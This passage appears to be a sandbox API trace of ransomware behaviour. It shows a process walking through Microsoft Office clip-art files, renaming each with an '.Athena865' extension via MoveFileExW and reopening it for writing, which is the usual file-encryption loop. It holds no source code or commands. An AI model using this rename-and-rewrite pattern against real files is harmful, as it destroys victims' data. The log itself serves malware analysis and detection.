Office\\CLIPART\\PUB60COR\\J0107342.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.443] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4244) returned 1 [0125.453] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107344.WMF" | out: lpString1="J0107344.WMF") returned="J0107344.WMF" [0125.455] lstrlenW (lpString="J0107344.WMF") returned 12 [0125.456] lstrlenW (lpString="Athena865") returned 9 [0125.457] lstrcmpiW (lpString1="07344.WMF", lpString2="Athena865") returned -1 [0125.458] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.Athena865") returned 73 [0125.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.athena865"), dwFlags=0x1) returned 1 [0125.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.464] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5076) returned 1 [0125.468] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107350.WMF" | out: lpString1="J0107350.WMF") returned="J0107350.WMF" [0125.468] lstrlenW (lpString="J0107350.WMF") returned 12 [0125.468] lstrlenW (lpString="Athena865") returned 9 [0125.468] lstrcmpiW (lpString1="07350.WMF", lpString2="Athena865") returned -1 [0125.468] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.Athena865") returned 73 [0125.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.athena865"), dwFlags=0x1) returned 1 [0125.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.473] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23672) returned 1 [0125.480] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107358.WMF" | out: lpString1="J0107358.WMF") returned="J0107358.WMF" [0125.480] lstrlenW (lpString="J0107358.WMF") returned 12 [0125.480] lstrlenW (lpString="Athena865") returned 9 [0125.480] lstrcmpiW (lpString1="07358.WMF", lpString2="Athena865") returned -1 [0125.480] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.Athena865") returned 73 [0125.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.athena865"), dwFlags=0x1) returned 1 [0125.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.481] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7964) returned 1 [0125.488] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107364.WMF" | out: lpString1="J0107364.WMF") returned="J0107364.WMF" [0125.488] lstrlenW (lpString="J0107364.WMF") returned 12 [0125.488] lstrlenW (lpString="Athena865") returned 9 [0125.489] lstrcmpiW (lpString1="07364.WMF", lpString2="Athena865") returned -1 [0125.490] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.Athena865") returned 73 [0125.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.athena865"), dwFlags=0x1) returned 1 [0125.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.492] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16588) returned 1 [0125.499] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107426.WMF" | out: lpString1="J0107426.WMF") returned="J0107426.WMF" [0125.499] lstrlenW (lpString="J0107426.WMF") returned 12 [0125.499] lstrlenW (lpString="Athena865") returned 9 [0125.499] lstrcmpiW (lpString1="07426.WMF", lpString2="Athena865") returned -1 [0125.499] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.Athena865") returned 73 [0125.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.athena865"), dwFlags=0x1) returned 1 [0125.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.500] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11492) returned 1 [0125.505] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107446.WMF" | out: lpString1="J0107446.WMF") returned="J0107446.WMF" [0125.505] lstrlenW (lpString="J0107446.WMF") returned 12 [0125.505] lstrlenW (lpString="Athena865") returned 9 [0125.505] lstrcmpiW (lpString1="07446.WMF", lpString2="Athena865") returned -1 [0125.505] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.Athena865") returned 73 [0125.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.athena865"), dwFlags=0x1) returned 1 [0125.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.510] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30336) returned 1 [0125.525] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107450.WMF" | out: lpString1="J0107450.WMF") returned="J0107450.WMF" [0125.526] lstrlenW (lpString="J0107450.WMF") returned 12 [0125.526] lstrlenW (lpString="Athena865") returned 9 [0125.526] lstrcmpiW (lpString1="07450.WMF", lpString2="Athena865") returned -1 [0125.526] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.Athena865") returned 73 [0125.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.athena865"), dwFlags=0x1) returned 1 [0125.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.530] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4920) returned 1 [0125.533] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107452.WMF" | out: lpString1="J0107452.WMF") returned="J0107452.WMF" [0125.533] lstrlenW (lpString="J0107452.WMF") returned 12 [0125.533] lstrlenW (lpString="Athena865") returned 9 [0125.533] lstrcmpiW (lpString1="07452.WMF", lpString2="Athena865") returned -1 [0125.533] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.Athena865") returned 73 [0125.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.athena865"), dwFlags=0x1) returned 1 [0125.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.544] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21216) returned 1 [0125.551] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107456.WMF" | out: lpString1="J0107456.WMF") returned="J0107456.WMF" [0125.551] lstrlenW (lpString="J0107456.WMF") returned 12 [0125.551] lstrlenW (lpString="Athena865") returned 9 [0125.551] lstrcmpiW (lpString1="07456.WMF", lpString2="Athena865") returned -1 [0125.552] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.Athena865") returned 73 [0125.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.athena865"), dwFlags=0x1) returned 1 [0125.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.553] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3724) returned 1 [0125.556] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107458.WMF" | out: lpString1="J0107458.WMF") returned="J0107458.WMF" [0125.556] lstrlenW (lpString="J0107458.WMF") returned 12 [0125.557] lstrlenW (lpString="Athena865") returned 9 [0125.557] lstrcmpiW (lpString1="07458.WMF", lpString2="Athena865") returned -1 [0125.557] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.Athena865") returned 73 [0125.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.athena865"), dwFlags=0x1) returned 1 [0125.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.559] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3568) returned 1 [0125.563] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107468.WMF" | out: lpString1="J0107468.WMF") returned="J0107468.WMF" [0125.563] lstrlenW (lpString="J0107468.WMF") returned 12 [0125.563] lstrlenW (lpString="Athena865") returned 9 [0125.563] lstrcmpiW (lpString1="07468.WMF", lpString2="Athena865") returned -1 [0125.563] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.Athena865") returned 73 [0125.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.athena865"), dwFlags=0x1) returned 1 [0125.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.567] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9612) returned 1 [0125.570] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107480.WMF" | out: lpString1="J0107480.WMF") returned="J0107480.WMF" [0125.570] lstrlenW (lpString="J0107480.WMF") returned 12 [0125.571] lstrlenW (lpString="Athena865") returned 9 [0125.571] lstrcmpiW (lpString1="07480.WMF", lpString2="Athena865") returned -1 [0125.571] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.Athena865") returned 73 [0125.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.athena865"), dwFlags=0x1) returned 1 [0125.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.573] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6024) returned 1 [0125.580] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107482.WMF" | out: lpString1="J0107482.WMF") returned="J0107482.WMF" [0125.580] lstrlenW (lpString="J0107482.WMF") returned 12 [0125.580] lstrlenW (lpString="Athena865") returned 9 [0125.580] lstrcmpiW (lpString1="07482.WMF", lpString2="Athena865") returned -1 [0125.580] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.Athena865") returned 73 [0125.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.athena865"), dwFlags=0x1) returned 1 [0125.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.581] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4980) returned 1 [0125.585] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107484.WMF" | out: lpString1="J0107484.WMF") returned="J0107484.WMF" [0125.585] lstrlenW (lpString="J0107484.WMF") returned 12 [0125.585] lstrlenW (lpString="Athena865") returned 9 [0125.585] lstrcmpiW (lpString1="07484.WMF", lpString2="Athena865") returned -1 [0125.585] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.Athena865") returned 73 [0125.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.athena865"), dwFlags=0x1) returned 1 [0125.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.591] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3040) returned 1 [0125.595] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107488.WMF" | out: lpString1="J0107488.WMF") returned="J0107488.WMF" [0125.595] lstrlenW (lpString="J0107488.WMF") returned 12 [0125.595] lstrlenW (lpString="Athena865") returned 9 [0125.595] lstrcmpiW (lpString1="07488.WMF", lpString2="Athena865") returned -1 [0125.595] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.Athena865") returned 73 [0125.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.athena865"), dwFlags=0x1) returned 1 [0125.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.600] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8000) returned 1 [0125.605] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107490.WMF" | out: lpString1="J0107490.WMF") returned="J0107490.WMF" [0125.605] lstrlenW (lpString="J0107490.WMF") returned 12 [0125.605] lstrlenW (lpString="Athena865") returned 9 [0125.606] lstrcmpiW (lpString1="07490.WMF", lpString2="Athena865") returned -1 [0125.606] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.Athena865") returned 73 [0125.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.athena865"), dwFlags=0x1) returned 1 [0125.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.607] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16468) returned 1 [0125.616] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107492.WMF" | out: lpString1="J0107492.WMF") returned="J0107492.WMF" [0125.616] lstrlenW (lpString="J0107492.WMF") returned 12 [0125.616] lstrlenW (lpString="Athena865") returned 9 [0125.616] lstrcmpiW (lpString1="07492.WMF", lpString2="Athena865") returned -1 [0125.616] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.Athena865") returned 73 [0125.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.athena865"), dwFlags=0x1) returned 1 [0125.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.618] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6860) returned 1 [0125.623] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107494.WMF" | out: lpString1="J0107494.WMF") returned="J0107494.WMF" [0125.623] lstrlenW (lpString="J0107494.WMF") returned 12 [0125.623] lstrlenW (lpString="Athena865") returned 9 [0125.623] lstrcmpiW (lpString1="07494.WMF", lpString2="Athena865") returned -1 [0125.624] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.Athena865") returned 73 [0125.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.athena865"), dwFlags=0x1) returned 1 [0125.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.629] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6424) returned 1 [0125.633] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107496.WMF" | out: lpString1="J0107496.WMF") returned="J0107496.WMF" [0125.633] lstrlenW (lpString="J0107496.WMF") returned 12 [0125.633] lstrlenW (lpString="Athena865") returned 9 [0125.633] lstrcmpiW (lpString1="07496.WMF", lpString2="Athena865") returned -1 [0125.633] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.Athena865") returned 73 [0125.633] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.athena865"), dwFlags=0x1) returned 1 [0125.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.634] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8864) returned 1 [0125.641] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107500.WMF" | out: lpString1="J0107500.WMF") returned="J0107500.WMF" [0125.641] lstrlenW (lpString="J0107500.WMF") returned 12 [0125.641] lstrlenW (lpString="Athena865") returned 